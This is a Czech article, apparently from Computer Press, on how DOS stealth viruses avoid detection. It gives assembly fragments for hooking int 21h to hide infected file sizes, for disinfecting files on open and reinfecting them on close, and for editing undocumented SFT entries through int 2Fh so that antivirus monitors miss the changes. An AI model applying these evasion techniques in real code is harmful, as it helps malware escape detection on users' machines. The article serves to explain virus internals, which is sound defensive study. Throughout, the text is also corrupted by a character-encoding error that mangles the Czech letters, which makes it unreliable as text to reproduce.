Konstrukce stealth vir∙

Stealth viry se aktivnφm zp∙sobem brßnφ prozrazenφ svΘ p°φtomnosti na poΦφtaΦi. Pro ·Φinnost stealth mechanism∙ musφ virus zajistit, aby jeho t∞lo bylo umφst∞no do pam∞ti rezidentn∞. Podstatou stealth technik je monitorovßnφ slu₧eb jßdra DOSu pro prßci se soubory, zejmΘna pak slu₧eb otev°enφ, uzav°enφ a spuÜt∞nφ souboru.
╪ada vir∙ se vyh²bß infikaci antivirov²ch Φi systΘmov²ch program∙. AntivirovΘ programy majφ na zavirovßnφ vlastnφho t∞la velkou senzitivitu, a proto viry se °ad∞ z nich zßm∞rn∞ vyh²bajφ. Je to jedna z mo₧nostφ, jak se viry brßnφ svΘmu prozrazenφ.
Snahu o minimßlnφ zm∞nu t∞la objektu ·toku demonstruje multipartitnφ virus StarShip, kter² v tabulce rozd∞lenφ pevnΘho disku (Partition Table) m∞nφ pouze t°i bajty v instrukcφch pro naΦtenφ boot sektoru (fyzickß adresa - hlava, stopa a sektor).

  • ╚ßsteΦn² stealth mechanismus
    ╚ßsteΦn² stealth mechanismus maskuje zavirovanou dΘlku souboru. Virus obsahuje p°eruÜenφ jßdra DOSu (int 21h) a monitoruje funkce otev°enφ nebo vyhledßnφ souboru, kdy operaΦnφmu systΘmu vracφ dΘlky, tak jako kdyby soubor infikovßn nebyl.
    virus_int21h:
    	cmp	ah, 0fh		; sluzba "Otevri soubor pres FCB" ?
    	je 	stealth_open_FCB
    	cmp	ah, 11h		; sluzba "Najdi prvni soubor pres FCB" ?
    	je	stealth_FCB
    	cmp 	ah, 12h		; sluzba "Najdi dalsi soubor pres FCB" ?
    	je	stealth_FCB
    	cmp	ah, 4eh		; sluzba "Najdi prvni soubor" ?
    	je	stealth_dir
    	cmp	ah, 4fh		; sluzba "Najdi dalsi soubor" ?
    	je	stealth_dir		
    	... dalsi testy ...
    stealth_open_FCB:
    	... volej originalni obsluhu int 21h
    	... je-li soubor infikovan, pak FCB sniz hodnotu jeho velikosti o virus ...
    	... dalsi virove manipulace ...
    stealth_FCB:
    	... volej originalni obsluhu int 21h
    	... zjisti adresu DTA, ve ktere je FCB ulozeno ...
    	... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ...
    	... dalsi virove manipulace ...
    stealth_dir:
    	... volej originalni obsluhu int 21h
    	... zjisti adresu DTA, ve ktere jsou informace o souboru ulozeny ...
    	... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ...
    	... dalsi virove manipulace ...
    
    V p°φpad∞ nßv∞Ütφ stealth_open_FCB a stealth_FCB se velikost souboru nachßzφ na adrese FCB[1dh] resp. DTA[1dh], v p°φpad∞ nßv∞Ütφ stealth_dir pak na adrese DTA[1ah]. V₧dy se jednß o dvojslovo (DWORD). P°i volßnφ funkce 0fh je p°φmo znßma adresa FCB, a proto ji nenφ pot°eba zjiÜ¥ovat prost°ednictvφm DTA. Stealth FCB dΘlky na ·rovni instrukcφ je uveden v rßmci konstrukce souborovΘho SYS viru.

  • ┌pln² stealth mechanismus
    Principem ·plnΘho stealth mechanismu je rozÜφ°enφ jeho ΦßsteΦnΘ podoby o manipulaci ·plnΘho odvirovßnφ ₧ßdanΘho souboru p°ed jeho p°edßnφm operaΦnφmu systΘmu a jeho op∞tovnΘho zavirovßnφ v dob∞, kdy p°φsluÜn² soubor ji₧ nenφ ₧ßdßn resp. je vyvolßn po₧adavek na jeho uzav°enφ.
    virus_int21h:
    	cmp	ah, 3dh	; sluzba "Otevri soubor" ?
    	je	stealth
    	cmp	ah, 4bh	; sluzba "Spust souboru - EXEC" ?
    	je	stealth
    	cmp   ah, 6ch	; sluzba "Rozsireneho otevreni souboru" ?
    	je 	stealth
    	cmp	ah, 3eh	; sluzba "Uzavri soubor" ?
    	je	infect
    	... dalsi testy ...
    stealth:
    	... je-li oteviran nebo spusten spustitelny soubor, pak jej odviruj ...
    	... a predej odvirovany soubor pozadovane sluzbe ...
    	... dalsi virove manipulace
    
    D∙sledkem ·plnΘho stealth mechanismu je skuteΦnost, ₧e antivirovΘ kontroly nezachytφ p°φtomnost viru, nebo¥ v dob∞ testovßnφ je virus ze souboru ji₧ odstran∞n.

    P°i manipulaci se souborem °ada vir∙ vyu₧φvß nedokumentovan² mechanismus p°φmΘho p°φstupu k souboru prost°ednictvφm SFT:
    mov	bx, file_handle	; rukojet souboru
    mov	ax, 1220h		; sluzba "zjisti cislo SFT"
    int	2fh
    mov 	bl, es:di		; cislo SFT (-1 pro neotevreny soubor )
    mov 	ax, 1216h		; sluzba "zjisti adresu SFT"
    int 	2fh
    ; adresa ES:DI ukazuje na SFT
    
    Tato posloupnost p°φkaz∙ nynφ umo₧≥uje p°φmou manipulaci s atributy souboru, m≤dem otev°enφ, nastavenφ ukazatele posunu v souboru Φi manipulaci s datem a Φasem, bez volßnφ slu₧eb jßdra DOSu (int 21h), a tφm i bez hrozby zachycenφ operacφ antivirov²m hlφdaΦem.
    Nap°φklad pro nastavenφ ukazatele posunu na zaΦßtek souboru m∙₧e virus mφsto volßnφ slu₧by DOSu 42h pou₧φt sekvenci:
    mov	es:[di+15h], 0	; od offsetu 15h je v tabulce SFT ulozeno
    mov	es:[di+17h], 0	; dvojslovo aktualniho posunu v souboru
    
    Podobn∞ pro p°enastavenφ m≤du otev°enφ na zßpis:
    mov	es:[di+02h], 2	; read/write m≤d
    


    Zdroj: Computer Press, ???